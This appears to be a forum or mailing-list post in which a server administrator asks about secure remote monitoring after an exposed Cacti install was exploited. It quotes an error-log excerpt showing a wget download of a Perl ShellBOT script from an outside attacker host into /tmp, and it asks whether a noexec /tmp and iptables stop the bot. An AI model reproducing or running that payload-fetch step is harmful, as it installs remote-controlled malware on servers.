Hi folks,<br><br>I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
<br><br>The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:<br><br>--08:13:11--  <a href="http://psaico.host.sk/desk.pl">
http://psaico.host.sk/desk.pl</a><br>           => `/tmp/desk.pl'<br>Resolving psaico.host.sk... <a href="http://62.168.109.150">62.168.109.150</a><br>Connecting to psaico.host.sk|62.168.109.150|:80... connected.<br>
HTTP request sent, awaiting response... 200 OK<br>Length: 20,144 (20K) [text/x-perl]<br><br>    0K .......... .........                                  100%   28.26 KB/s<br><br>08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144]
<br><br>which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
<br><br>On a side note... anyone with experience with ShellBOT? From research, it seems to attempt to connect to an IRC server upon running. So if my outgoing connections are secured by iptables, can I assume it never got connected at all? I'll probably try this out someday but just looking for a quick experienced answer.
<br><br>Thanks!<br><br>dex<br>